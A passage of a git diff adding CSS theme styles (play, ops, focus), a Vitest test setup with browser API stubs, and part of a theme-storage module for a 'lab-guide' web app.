+  border-color: var(--signal);
+}
+
+:root[data-theme="play"] .selected-node-brief > button,
+:root[data-theme="play"] .primary-action {
+  color: #11110e;
+  background: var(--signal);
+  border: 2px solid var(--signal);
+  border-radius: 1px;
+  box-shadow: 3px 3px 0 #665700;
+}
+
+:root[data-theme="play"] .investigation-list {
+  counter-reset: play-mission;
+}
+
+:root[data-theme="play"] .investigation-option {
+  position: relative;
+  counter-increment: play-mission;
+  background: #fffdf5;
+  border: 2px solid var(--text);
+  border-radius: 2px;
+  box-shadow: 4px 4px 0 #d3cdc0;
+}
+
+:root[data-theme="play"] .investigation-option::after {
+  position: absolute;
+  top: 6px;
+  right: 7px;
+  content: "0" counter(play-mission);
+  color: var(--primary);
+  font-family: var(--mono);
+  font-size: 9px;
+  font-weight: 800;
+}
+
+:root[data-theme="play"] .investigation-option:hover {
+  background: #fff9cf;
+  border-color: var(--text);
+  transform: translate(-2px, -2px);
+  box-shadow: 6px 6px 0 var(--signal);
+}
+
+:root[data-theme="play"] .outline-action {
+  color: #fffdf5;
+  background: #11110e;
+  border: 2px solid #11110e;
+  border-radius: 2px;
+}
+
+:root[data-theme="play"] .hypothesis-option {
+  border-bottom: 2px solid var(--text);
+  font-weight: 720;
+}
+
+:root[data-theme="play"] .hypothesis-option.is-selected {
+  background: #fff8bd;
+  border: 3px solid var(--text);
+  border-radius: 2px;
+  box-shadow: 5px 5px 0 var(--signal);
+}
+
+:root[data-theme="play"] .hypothesis-explanation,
+:root[data-theme="play"] .hint-step {
+  border: 2px solid var(--text);
+  border-radius: 2px;
+  box-shadow: 4px 4px 0 var(--muted-surface);
+}
+
+:root[data-theme="play"] .event-strip {
+  color: #fffdf5;
+  background: #11110e;
+  border-top: 4px solid var(--accent);
+}
+
+:root[data-theme="play"] .event-list li {
+  border-color: #45433c;
+}
+
+:root[data-theme="play"] .event-list time,
+:root[data-theme="play"] .telemetry-note {
+  color: #bcb8ad;
+}
+
+/* OPS — Night Circuit ----------------------------------------------------- */
+
+:root[data-theme="ops"] {
+  --canvas: #071217;
+  --surface: #0a181e;
+  --muted-surface: #10252b;
+  --text: #e7f4f0;
+  --muted-text: #83a09b;
+  --border: #23424a;
+  --primary: #59e7c2;
+  --primary-hover: #83f3d5;
+  --accent: #b689ff;
+  --signal: #ffbd48;
+  --success: #59e7c2;
+  --warning: #ffbd48;
+  --danger: #ff6874;
+  --heading:
+    "Noto Sans JP Variable", "Noto Sans JP", "Yu Gothic", sans-serif;
+  --ink-shadow: rgb(0 0 0 / 46%);
+  --header-height: 64px;
+  color: var(--text);
+  background: var(--canvas);
+}
+
+:root[data-theme="ops"] body,
+.app-root[data-theme="ops"] {
+  background-color: var(--canvas);
+  background-image:
+    linear-gradient(rgb(89 231 194 / 3.5%) 1px, transparent 1px),
+    linear-gradient(90deg, rgb(89 231 194 / 2.5%) 1px, transparent 1px);
+  background-size: 40px 40px;
+}
+
+:root[data-theme="ops"] :focus-visible {
+  outline-color: var(--signal);
+}
+
+:root[data-theme="ops"] .app-header {
+  background: #061015;
+  border-bottom: 1px solid #27474e;
+  box-shadow: 0 8px 30px rgb(0 0 0 / 22%);
+}
+
+:root[data-theme="ops"] .brand-lockup > svg {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .brand-name {
+  font-family: var(--mono);
+  font-size: 20px;
+  font-weight: 650;
+  letter-spacing: -0.04em;
+}
+
+:root[data-theme="ops"] .brand-divider {
+  background: #28474e;
+}
+
+:root[data-theme="ops"] .brand-lab {
+  font-family: var(--body);
+  font-size: 12px;
+}
+
+:root[data-theme="ops"] .brand-lab > span {
+  color: var(--muted-text);
+}
+
+:root[data-theme="ops"] .nav-tab {
+  color: var(--muted-text);
+  font-family: var(--body);
+  font-size: 15px;
+  font-weight: 650;
+}
+
+:root[data-theme="ops"] .nav-tab:hover,
+:root[data-theme="ops"] .nav-tab[aria-current="page"] {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .nav-tab[aria-current="page"]::after {
+  height: 2px;
+  background: var(--primary);
+  box-shadow: 0 0 12px rgb(89 231 194 / 55%);
+}
+
+:root[data-theme="ops"] .header-actions {
+  background: #061015;
+}
+
+:root[data-theme="ops"] .experience-label {
+  color: var(--muted-text);
+  background: #0a171d;
+  border-color: #27474e;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .experience-label--live {
+  color: var(--primary);
+  border-color: var(--primary);
+}
+
+:root[data-theme="ops"] .theme-switcher {
+  background: #09171c;
+  border-color: #28474e;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .theme-switcher button {
+  color: #688681;
+  border-radius: 1px;
+}
+
+:root[data-theme="ops"] .theme-switcher button[aria-pressed="true"] {
+  color: #071217;
+  background: var(--primary);
+  border-color: var(--primary);
+  box-shadow: 0 0 16px rgb(89 231 194 / 28%);
+}
+
+:root[data-theme="ops"] .end-session-button {
+  color: var(--text);
+  background: #08161b;
+  border-color: #35545b;
+  border-radius: 2px;
+  font-family: var(--mono);
+  font-size: 12px;
+}
+
+:root[data-theme="ops"] .end-session-button:hover:not(:disabled) {
+  color: var(--signal);
+  border-color: var(--signal);
+}
+
+:root[data-theme="ops"] .known-facts,
+:root[data-theme="ops"] .investigation-rail,
+:root[data-theme="ops"] .hint-rail,
+:root[data-theme="ops"] .event-strip {
+  background: rgb(6 16 21 / 96%);
+}
+
+:root[data-theme="ops"] .known-facts {
+  border-right-color: #24424a;
+}
+
+:root[data-theme="ops"] .rail-heading {
+  font-family: var(--mono);
+  font-size: 16px;
+  font-weight: 620;
+  letter-spacing: 0.015em;
+}
+
+:root[data-theme="ops"] .rail-heading::before {
+  color: var(--primary);
+  content: "//";
+  font-family: var(--mono);
+  font-size: 12px;
+}
+
+:root[data-theme="ops"] .rail-heading svg {
+  display: none;
+}
+
+:root[data-theme="ops"] .fact-item {
+  border-color: #1d363d;
+}
+
+:root[data-theme="ops"] .fact-check {
+  color: #061015;
+  background: var(--primary);
+  border-radius: 2px;
+  box-shadow: 0 0 10px rgb(89 231 194 / 26%);
+}
+
+:root[data-theme="ops"] .fact-icon {
+  color: var(--primary);
+  background: #0a1a20;
+  border-color: #29535a;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .fact-copy strong {
+  font-size: 14px;
+  font-weight: 590;
+}
+
+:root[data-theme="ops"] .fact-copy small {
+  font-family: var(--mono);
+  font-size: 10px;
+}
+
+:root[data-theme="ops"] .rail-card {
+  background: #09171c;
+  border-color: #29454c;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .rail-card h3 {
+  color: var(--primary);
+  font-family: var(--mono);
+  font-weight: 560;
+}
+
+:root[data-theme="ops"] .progress-card progress {
+  height: 8px;
+  background: #152a30;
+  border: 0;
+  border-radius: 0;
+}
+
+:root[data-theme="ops"] .progress-card progress::-webkit-progress-value {
+  background: var(--primary);
+  box-shadow: 0 0 12px rgb(89 231 194 / 45%);
+}
+
+:root[data-theme="ops"] .progress-card progress::-moz-progress-bar {
+  background: var(--primary);
+}
+
+:root[data-theme="ops"] .map-stage,
+:root[data-theme="ops"] .consultation-stage {
+  background-color: #071419;
+  background-image:
+    radial-gradient(circle at center, rgb(89 231 194 / 08%) 0 1px, transparent 1.5px),
+    linear-gradient(rgb(89 231 194 / 3.5%) 1px, transparent 1px),
+    linear-gradient(90deg, rgb(89 231 194 / 2.5%) 1px, transparent 1px);
+  background-size: 20px 20px, 80px 80px, 80px 80px;
+}
+
+:root[data-theme="ops"] .session-pairing {
+  background: #07161b;
+  border-color: #31535b;
+  border-radius: 2px;
+  box-shadow: inset 3px 0 0 var(--signal);
+}
+
+:root[data-theme="ops"] .session-pairing-icon {
+  color: var(--primary);
+  background: #0d2027;
+  border-color: #31535b;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .session-pairing-copy h2,
+:root[data-theme="ops"] .session-pairing label,
+:root[data-theme="ops"] .session-pairing-input input {
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .session-pairing-input {
+  background: #041015;
+  border-color: #31535b;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .session-pairing .primary-action {
+  color: #041015;
+  background: var(--primary);
+  border-color: var(--primary);
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .stage-intro::before,
+:root[data-theme="ops"] .consultation-intro::before {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .stage-intro h1,
+:root[data-theme="ops"] .consultation-intro h1 {
+  font-weight: 680;
+  letter-spacing: -0.025em;
+}
+
+:root[data-theme="ops"] .stage-intro p,
+:root[data-theme="ops"] .consultation-intro p {
+  color: #8aa59f;
+}
+
+:root[data-theme="ops"] .map-toolbar {
+  border-bottom: 1px solid #27464d;
+}
+
+:root[data-theme="ops"] .map-toolbar h2 {
+  font-family: var(--mono);
+  font-size: 15px;
+  font-weight: 600;
+}
+
+:root[data-theme="ops"] .map-toolbar h2 svg {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .world-node {
+  color: var(--text);
+  background: rgb(7 22 27 / 96%);
+  border: 1px solid var(--primary);
+  border-radius: 2px;
+  box-shadow:
+    inset 0 0 22px rgb(89 231 194 / 3.5%),
+    0 0 14px rgb(89 231 194 / 08%);
+}
+
+:root[data-theme="ops"] .world-node--selected,
+:root[data-theme="ops"] .world-node.is-focused {
+  background: #151a18;
+  border: 2px solid var(--signal);
+  box-shadow:
+    inset 0 0 24px rgb(255 189 72 / 07%),
+    0 0 0 3px rgb(255 189 72 / 10%),
+    0 0 24px rgb(255 189 72 / 20%);
+}
+
+:root[data-theme="ops"] .world-node--undiscovered {
+  color: #6c7f7b;
+  background: rgb(7 18 23 / 72%);
+  border-color: #60736f;
+}
+
+:root[data-theme="ops"] .world-node-index {
+  color: var(--primary);
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .world-node--selected .world-node-index,
+:root[data-theme="ops"] .world-node.is-focused .world-node-index {
+  color: var(--signal);
+}
+
+:root[data-theme="ops"] .world-node-copy strong {
+  font-weight: 570;
+}
+
+:root[data-theme="ops"] .world-node-copy small,
+:root[data-theme="ops"] .world-node-copy em {
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .world-node-copy em {
+  color: var(--primary);
+  background: rgb(89 231 194 / 06%);
+  border-color: #2a665d;
+  border-radius: 1px;
+}
+
+:root[data-theme="ops"] .react-flow__edge-path {
+  stroke: #71ddc4;
+  stroke-width: 1.5;
+  filter: drop-shadow(0 0 3px rgb(89 231 194 / 35%));
+}
+
+:root[data-theme="ops"] .world-edge--possible .react-flow__edge-path {
+  stroke: #879893;
+  stroke-dasharray: 7 7;
+  animation: ops-route 2.8s linear infinite;
+}
+
+@keyframes ops-route {
+  to {
+    stroke-dashoffset: -28;
+  }
+}
+
+:root[data-theme="ops"] .selected-node-brief {
+  background: rgb(7 20 25 / 96%);
+  border: 1px solid #2b535a;
+  border-left: 3px solid var(--signal);
+  border-radius: 1px;
+  box-shadow: 0 10px 28px rgb(0 0 0 / 20%);
+}
+
+:root[data-theme="ops"] .selected-node-symbol {
+  color: var(--signal);
+  background: rgb(255 189 72 / 05%);
+  border-color: #6e5730;
+  border-radius: 1px;
+}
+
+:root[data-theme="ops"] .selected-node-copy small,
+:root[data-theme="ops"] .selected-node-progress {
+  color: var(--signal);
+  font-family: var(--mono);
+}
+
+:root[data-theme="ops"] .selected-node-copy span {
+  color: #8ba59f;
+}
+
+:root[data-theme="ops"] .selected-node-brief > button,
+:root[data-theme="ops"] .primary-action {
+  color: #061015;
+  background: var(--primary);
+  border-color: var(--primary);
+  border-radius: 1px;
+}
+
+:root[data-theme="ops"] .selected-node-brief > button:hover,
+:root[data-theme="ops"] .primary-action:hover:not(:disabled) {
+  color: #061015;
+  background: var(--primary-hover);
+  box-shadow: 0 0 18px rgb(89 231 194 / 22%);
+}
+
+:root[data-theme="ops"] .investigation-option {
+  background: #09191e;
+  border-color: #2c4a51;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .investigation-option:hover {
+  background: #0b201f;
+  border-color: var(--primary);
+  box-shadow:
+    inset 3px 0 0 var(--primary),
+    0 0 18px rgb(89 231 194 / 07%);
+  transform: translateX(3px);
+}
+
+:root[data-theme="ops"] .investigation-option > svg:first-child,
+:root[data-theme="ops"] .investigation-option > svg:last-child {
+  color: var(--primary);
+}
+
+:root[data-theme="ops"] .outline-action,
+:root[data-theme="ops"] .secondary-action,
+:root[data-theme="ops"] .secondary-button {
+  color: var(--primary);
+  background: transparent;
+  border-color: #3b716b;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .hypothesis-option {
+  border-bottom-color: #284047;
+}
+
+:root[data-theme="ops"] .hypothesis-option.is-selected {
+  background: rgb(182 137 255 / 05%);
+  border: 1px solid var(--accent);
+  border-left: 4px solid var(--accent);
+  border-radius: 1px;
+  box-shadow: 0 0 20px rgb(182 137 255 / 08%);
+}
+
+:root[data-theme="ops"] .hypothesis-option > svg:first-child,
+:root[data-theme="ops"] .hypothesis-option > svg:last-child {
+  color: var(--accent);
+}
+
+:root[data-theme="ops"] .hypothesis-explanation,
+:root[data-theme="ops"] .hint-step,
+:root[data-theme="ops"] .manual-flag-form,
+:root[data-theme="ops"] .connection-banner {
+  background: #09191e;
+  border-color: #29474e;
+  border-radius: 2px;
+}
+
+:root[data-theme="ops"] .hint-step > button > svg:first-child,
+:root[data-theme="ops"] .hint-rail > h2::after {
+  color: var(--primary);
+  background: var(--primary);
+}
+
+:root[data-theme="ops"] .event-strip {
+  border-top-color: #28474e;
+  box-shadow: 0 -12px 34px rgb(0 0 0 / 18%);
+}
+
+:root[data-theme="ops"] .event-list li {
+  border-color: #264149;
+}
+
+/* FOCUS — Field Notes ----------------------------------------------------- */
+
+:root[data-theme="focus"] {
+  --canvas: #f9f8f4;
+  --surface: #fffefa;
+  --muted-surface: #efede6;
+  --text: #11110f;
+  --muted-text: #65625b;
+  --border: #c9c5ba;
+  --primary: #d62b1f;
+  --primary-hover: #aa1e15;
+  --accent: #155bb6;
+  --signal: #d62b1f;
+  --success: #155bb6;
+  --warning: #a66000;
+  --danger: #b3221a;
+  --heading:
+    "Noto Serif JP Variable", "Noto Serif JP", "Yu Mincho", serif;
+  --ink-shadow: rgb(17 17 15 / 10%);
+  --header-height: 70px;
+  color: var(--text);
+  background: var(--canvas);
+}
+
+:root[data-theme="focus"] body,
+.app-root[data-theme="focus"] {
+  background: var(--canvas);
+}
+
+:root[data-theme="focus"] .app-header {
+  background: var(--surface);
+  border-bottom: 2px solid var(--text);
+}
+
+:root[data-theme="focus"] .experience-label {
+  color: var(--muted-text);
+  background: transparent;
+  border-color: var(--text);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .experience-label--live {
+  color: var(--primary);
+  border-color: var(--primary);
+}
+
+:root[data-theme="focus"] .brand-lockup {
+  gap: 12px;
+}
+
+:root[data-theme="focus"] .brand-name {
+  font-family: var(--heading);
+  font-size: 24px;
+  font-weight: 760;
+  letter-spacing: -0.04em;
+}
+
+:root[data-theme="focus"] .brand-lab {
+  font-family: var(--body);
+  font-size: 11px;
+  font-weight: 580;
+}
+
+:root[data-theme="focus"] .brand-lab > span {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .nav-tab {
+  font-family: var(--body);
+  font-size: 15px;
+  font-weight: 650;
+}
+
+:root[data-theme="focus"] .nav-tab[aria-current="page"]::after {
+  height: 3px;
+}
+
+:root[data-theme="focus"] .theme-switcher {
+  gap: 0;
+  padding: 0;
+  background: transparent;
+  border: 0;
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .theme-switcher button {
+  min-height: 42px;
+  border: 0;
+  border-bottom: 1px solid var(--border);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .theme-switcher button[aria-pressed="true"] {
+  color: var(--primary);
+  background: transparent;
+  border-bottom: 3px solid var(--primary);
+  box-shadow: none;
+}
+
+:root[data-theme="focus"] .end-session-button {
+  border-color: var(--text);
+  border-radius: 2px;
+  font-size: 13px;
+}
+
+:root[data-theme="focus"] .known-facts {
+  background: #fbfaf6;
+  border-right-color: var(--border);
+}
+
+:root[data-theme="focus"] .investigation-rail,
+:root[data-theme="focus"] .hint-rail,
+:root[data-theme="focus"] .event-strip {
+  background: var(--surface);
+}
+
+:root[data-theme="focus"] .rail-heading {
+  align-items: flex-start;
+  font-family: var(--heading);
+  font-size: 19px;
+  font-weight: 690;
+}
+
+:root[data-theme="focus"] .rail-heading svg {
+  width: 20px;
+  height: 20px;
+  margin-top: 3px;
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .fact-check {
+  background: var(--primary);
+}
+
+:root[data-theme="focus"] .fact-icon {
+  background: transparent;
+  border-color: #a7a39a;
+  border-radius: 2px;
+}
+
+:root[data-theme="focus"] .fact-copy strong {
+  font-family: var(--heading);
+  font-size: 14px;
+}
+
+:root[data-theme="focus"] .rail-card {
+  padding-inline: 0;
+  background: transparent;
+  border-width: 1px 0 0;
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .progress-card progress {
+  height: 8px;
+  border: 0;
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .progress-card progress::-webkit-progress-value {
+  background: var(--primary);
+}
+
+:root[data-theme="focus"] .progress-card progress::-moz-progress-bar {
+  background: var(--primary);
+}
+
+:root[data-theme="focus"] .map-stage,
+:root[data-theme="focus"] .consultation-stage {
+  background: #fffefa;
+  border-inline: 0;
+}
+
+:root[data-theme="focus"] .stage-intro::before,
+:root[data-theme="focus"] .consultation-intro::before {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .stage-intro h1,
+:root[data-theme="focus"] .consultation-intro h1 {
+  font-weight: 690;
+  letter-spacing: 0.01em;
+}
+
+:root[data-theme="focus"] .stage-intro h1 {
+  max-width: 720px;
+  font-size: clamp(29px, 2.45vw, 40px);
+}
+
+:root[data-theme="focus"] .map-toolbar {
+  border-top: 1px solid var(--text);
+  border-bottom: 1px solid var(--border);
+}
+
+:root[data-theme="focus"] .map-toolbar h2 {
+  font-family: var(--body);
+  font-size: 14px;
+  font-weight: 700;
+}
+
+:root[data-theme="focus"] .map-toolbar h2 svg {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .world-node {
+  background: #fffefa;
+  border: 1.5px solid var(--accent);
+  border-radius: 2px;
+  box-shadow: none;
+}
+
+:root[data-theme="focus"] .world-node--selected,
+:root[data-theme="focus"] .world-node.is-focused {
+  border: 2px solid var(--primary);
+  box-shadow: 4px 4px 0 rgb(214 43 31 / 10%);
+}
+
+:root[data-theme="focus"] .world-node--undiscovered {
+  border-color: #77736b;
+}
+
+:root[data-theme="focus"] .world-node-copy strong {
+  font-family: var(--heading);
+  font-size: 13px;
+}
+
+:root[data-theme="focus"] .world-node-index {
+  color: var(--accent);
+}
+
+:root[data-theme="focus"] .world-node--selected .world-node-index,
+:root[data-theme="focus"] .world-node.is-focused .world-node-index {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .world-node-copy em {
+  color: var(--accent);
+  background: transparent;
+  border-color: color-mix(in srgb, var(--accent) 34%, var(--border));
+  border-radius: 1px;
+}
+
+:root[data-theme="focus"] .react-flow__edge-path {
+  stroke: #4b4944;
+  stroke-width: 1.4;
+}
+
+:root[data-theme="focus"] .selected-node-brief {
+  padding-inline: 0;
+  background: transparent;
+  border-width: 1px 0;
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .selected-node-symbol {
+  color: var(--primary);
+  border: 0;
+}
+
+:root[data-theme="focus"] .selected-node-copy small {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .selected-node-copy strong {
+  font-family: var(--heading);
+}
+
+:root[data-theme="focus"] .selected-node-brief > button,
+:root[data-theme="focus"] .primary-action {
+  background: var(--primary);
+  border-color: var(--primary);
+  border-radius: 1px;
+}
+
+:root[data-theme="focus"] .investigation-option {
+  padding-inline: 6px;
+  background: transparent;
+  border-width: 0 0 1px;
+  border-color: var(--border);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .investigation-option:hover {
+  padding-left: 12px;
+  background: rgb(214 43 31 / 2.5%);
+  border-color: var(--primary);
+}
+
+:root[data-theme="focus"] .investigation-option > svg:last-child {
+  color: var(--primary);
+}
+
+:root[data-theme="focus"] .outline-action {
+  color: var(--accent);
+  background: transparent;
+  border-color: var(--accent);
+  border-radius: 1px;
+}
+
+:root[data-theme="focus"] .hypothesis-option {
+  font-family: var(--heading);
+  font-weight: 590;
+}
+
+:root[data-theme="focus"] .hypothesis-option.is-selected {
+  background: transparent;
+  border: 1px solid var(--primary);
+  border-left: 5px solid var(--primary);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .hypothesis-explanation,
+:root[data-theme="focus"] .hint-step,
+:root[data-theme="focus"] .manual-flag-form,
+:root[data-theme="focus"] .connection-banner {
+  background: transparent;
+  border-radius: 1px;
+}
+
+:root[data-theme="focus"] .hypothesis-explanation > svg {
+  border-radius: 1px;
+}
+
+:root[data-theme="focus"] .hint-rail > h2,
+:root[data-theme="focus"] .hint-step strong {
+  font-family: var(--heading);
+}
+
+:root[data-theme="focus"] .event-strip {
+  border-top: 2px solid var(--text);
+}
+
+:root[data-theme="focus"] .session-pairing {
+  padding-inline: 0;
+  background: transparent;
+  border-width: 2px 0;
+  border-color: var(--text);
+  border-radius: 0;
+  box-shadow: none;
+}
+
+:root[data-theme="focus"] .session-pairing-icon {
+  color: var(--primary);
+  background: transparent;
+  border-color: var(--text);
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .session-pairing-input,
+:root[data-theme="focus"] .session-pairing .primary-action {
+  border-radius: 0;
+}
+
+:root[data-theme="focus"] .event-strip > h2 {
+  font-family: var(--body);
+  font-size: 13px;
+}
+
+/* Responsive refinements -------------------------------------------------- */
+
+@media (max-width: 1366px) and (min-width: 901px) {
+  .app-header {
+    grid-template-columns: 230px minmax(280px, 1fr) auto;
+  }
+
+  .header-actions {
+    gap: 7px;
+    padding-right: 12px;
+  }
+
+  .theme-switcher {
+    grid-template-columns: repeat(3, 54px);
+  }
+
+  .theme-switcher small {
+    display: none;
+  }
+
+  .theme-switcher button {
+    min-height: 36px;
+  }
+
+  .end-session-button {
+    padding-inline: 12px;
+  }
+
+  .selected-node-brief {
+    grid-template-columns: 42px minmax(0, 1fr) auto;
+  }
+
+  .selected-node-symbol {
+    width: 40px;
+    height: 40px;
+  }
+
+  .selected-node-progress {
+    display: none;
+  }
+}
+
+@media (max-width: 1100px) and (min-width: 901px) {
+  .theme-switcher {
+    grid-template-columns: repeat(3, 42px);
+  }
+
+  .end-session-button span {
+    display: none;
+  }
+}
+
+@media (min-width: 901px) and (max-height: 780px) {
+  .map-screen,
+  .consultation-screen {
+    grid-template-rows: minmax(0, 1fr) 80px;
+  }
+
+  .map-screen {
+    grid-template-columns: 230px minmax(0, 1fr) 280px;
+  }
+
+  .consultation-screen {
+    grid-template-columns: 250px minmax(0, 1fr) 300px;
+  }
+
+  .map-stage {
+    padding-top: 18px;
+  }
+
+  .session-pairing {
+    min-height: 68px;
+    padding-block: 7px;
+    margin-bottom: 9px;
+  }
+
+  .session-pairing-copy p {
+    display: none;
+  }
+
+  .stage-intro::before,
+  .consultation-intro::before {
+    margin-bottom: 5px;
+  }
+
+  .stage-intro h1 {
+    margin-bottom: 4px;
+    font-size: 24px;
+  }
+
+  .stage-intro p {
+    font-size: 13px;
+    line-height: 1.5;
+  }
+
+  .map-toolbar {
+    min-height: 46px;
+    margin-top: 10px;
+  }
+
+  .map-canvas {
+    min-height: 248px;
+  }
+
+  .world-node-copy strong {
+    font-size: 17px;
+  }
+
+  .world-node-copy small {
+    font-size: 13px;
+  }
+
+  .world-node-copy em {
+    font-size: 10px;
+  }
+
+  .world-node-icon svg {
+    width: 32px;
+    height: 32px;
+  }
+
+  .selected-node-brief {
+    min-height: 58px;
+    padding-block: 6px;
+    margin-bottom: 6px;
+  }
+
+  .selected-node-symbol {
+    width: 34px;
+    height: 34px;
+  }
+
+  .selected-node-copy span {
+    display: none;
+  }
+
+  .selected-node-brief > button {
+    min-height: 40px;
+  }
+
+  .known-facts,
+  .investigation-rail,
+  .hint-rail {
+    padding-top: 22px;
+    padding-bottom: 16px;
+  }
+
+  .rail-heading {
+    gap: 8px;
+    margin-bottom: 16px;
+    font-size: 16px;
+  }
+
+  .rail-heading svg {
+    width: 22px;
+    height: 22px;
+  }
+
+  .fact-item,
+  .known-facts--detailed .fact-item {
+    min-height: 70px;
+  }
+
+  .known-facts--detailed .fact-copy small {
+    display: none;
+  }
+
+  .rail-card {
+    padding-block: 14px;
+    margin-top: 12px;
+  }
+
+  .investigation-option {
+    min-height: 92px;
+    padding-block: 13px;
+  }
+
+  .outline-action {
+    min-height: 46px;
+    margin-top: 16px;
+  }
+
+  .event-strip {
+    min-height: 80px;
+    padding-block: 8px;
+  }
+
+  .consultation-stage {
+    padding-top: 24px;
+    padding-bottom: 18px;
+  }
+
+  .consultation-intro {
+    padding-bottom: 16px;
+  }
+
+  .consultation-intro h1 {
+    margin-bottom: 5px;
+    font-size: 30px;
+  }
+
+  .consultation-intro p {
+    font-size: 14px;
+  }
+
+  .hypothesis-fieldset {
+    padding-top: 17px;
+  }
+
+  .hypothesis-fieldset legend {
+    padding-bottom: 10px;
+    font-size: 16px;
+  }
+
+  .hypothesis-option {
+    min-height: 60px;
+  }
+
+  .hypothesis-explanation {
+    min-height: 84px;
+    padding-block: 12px;
+    margin-top: 10px;
+  }
+
+  .consultation-actions {
+    margin-top: 12px;
+  }
+
+  .consultation-actions .primary-action,
+  .consultation-actions .secondary-action {
+    min-height: 46px;
+  }
+
+  .hint-list {
+    gap: 10px;
+  }
+
+  .hint-step > button {
+    min-height: 58px;
+  }
+}
+
+@media (max-width: 900px) {
+  :root[data-theme="play"],
+  :root[data-theme="ops"],
+  :root[data-theme="focus"] {
+    --header-height: 108px;
+  }
+
+  .app-header {
+    grid-template-columns: minmax(0, 1fr) auto;
+  }
+
+  .brand-divider,
+  .brand-lab {
+    display: none;
+  }
+
+  .header-actions {
+    grid-column: 2;
+    grid-row: 1;
+    gap: 6px;
+    padding: 0 8px 0 0;
+  }
+
+  .theme-switcher {
+    grid-template-columns: repeat(3, 35px);
+    gap: 2px;
+    padding: 2px;
+  }
+
+  .theme-switcher button {
+    min-height: 38px;
+    padding: 0;
+  }
+
+  .theme-switcher span {
+    font-size: 8px;
+  }
+
+  .theme-switcher small {
+    display: none;
+  }
+
+  .header-actions .end-session-button {
+    grid-column: auto;
+    grid-row: auto;
+    width: 42px;
+    min-width: 42px;
+    min-height: 42px;
+    padding: 0;
+    margin: 0;
+  }
+
+  .selected-node-brief {
+    margin-top: 12px;
+  }
+
+  :root[data-theme="play"] .known-facts,
+  :root[data-theme="play"] .investigation-rail,
+  :root[data-theme="play"] .hint-rail {
+    border-right: 0;
+    border-bottom: 3px solid var(--text);
+    border-left: 0;
+  }
+}
+
+@media (max-width: 600px) {
+  .brand-lockup {
+    padding-inline: 10px;
+  }
+
+  .brand-name {
+    font-size: 18px;
+  }
+
+  .header-actions {
+    gap: 4px;
+    padding-right: 5px;
+  }
+
+  .theme-switcher {
+    grid-template-columns: repeat(3, 31px);
+  }
+
+  .theme-switcher button {
+    min-height: 36px;
+  }
+
+  .selected-node-brief {
+    grid-template-columns: 42px minmax(0, 1fr) auto;
+    gap: 10px;
+  }
+
+  .selected-node-copy span {
+    white-space: normal;
+  }
+
+  .selected-node-progress {
+    display: none;
+  }
+
+  .selected-node-brief > button {
+    grid-column: 1 / -1;
+    width: 100%;
+  }
+
+  :root[data-theme="play"] .selected-node-brief {
+    margin-right: 5px;
+  }
+}
diff --git a/apps/lab-guide/src/test/setup.ts b/apps/lab-guide/src/test/setup.ts
new file mode 100644
index 0000000..bf25812
--- /dev/null
+++ b/apps/lab-guide/src/test/setup.ts
@@ -0,0 +1,36 @@
+import "@testing-library/jest-dom/vitest";
+import { cleanup } from "@testing-library/react";
+import { afterEach } from "vitest";
+
+afterEach(cleanup);
+
+class ResizeObserverStub {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+Object.defineProperty(window, "ResizeObserver", {
+  writable: true,
+  value: ResizeObserverStub,
+});
+
+Object.defineProperty(globalThis, "ResizeObserver", {
+  writable: true,
+  value: ResizeObserverStub,
+});
+
+Object.defineProperty(HTMLElement.prototype, "setPointerCapture", {
+  configurable: true,
+  value: () => undefined,
+});
+
+Object.defineProperty(HTMLElement.prototype, "releasePointerCapture", {
+  configurable: true,
+  value: () => undefined,
+});
+
+Object.defineProperty(HTMLElement.prototype, "hasPointerCapture", {
+  configurable: true,
+  value: () => false,
+});
diff --git a/apps/lab-guide/src/theme.ts b/apps/lab-guide/src/theme.ts
new file mode 100644
index 0000000..f86a282
--- /dev/null
+++ b/apps/lab-guide/src/theme.ts
@@ -0,0 +1,67 @@
+export const THEME_STORAGE_KEY = "examserver-open-world:theme:v1";
+
+export const THEME_OPTIONS = [
+  {
+    id: "play",
+    label: "PLAY",
+    description: "ポップゲーム",
+  },
+  {
+    id: "ops",
+    label: "OPS",
+    description: "ハッカー",
+  },
+  {
+    id: "focus",
+    label: "FOCUS",
+    description: "シンプル",
+  },
+] as const;
+
+export type ThemeMode = (typeof THEME_OPTIONS)[number]["id"];
+
+function getBrowserStorage() {
+  try {
+    return globalThis.window?.localStorage;
+  } catch {
+    return undefined;
+  }
+}
+
+function isThemeMode(value: string | null): value is ThemeMode {
+  return THEME_OPTIONS.some((theme) => theme.id === value);
+}
+
+export function readStoredTheme(
+  storage: Pick<Storage, "getItem"> | undefined = getBrowserStorage(),
+): ThemeMode {
+  if (!storage) return "play";
+
+  try {
+    const stored = storage.getItem(THEME_STORAGE_KEY);
+    return isThemeMode(stored) ? stored : "play";
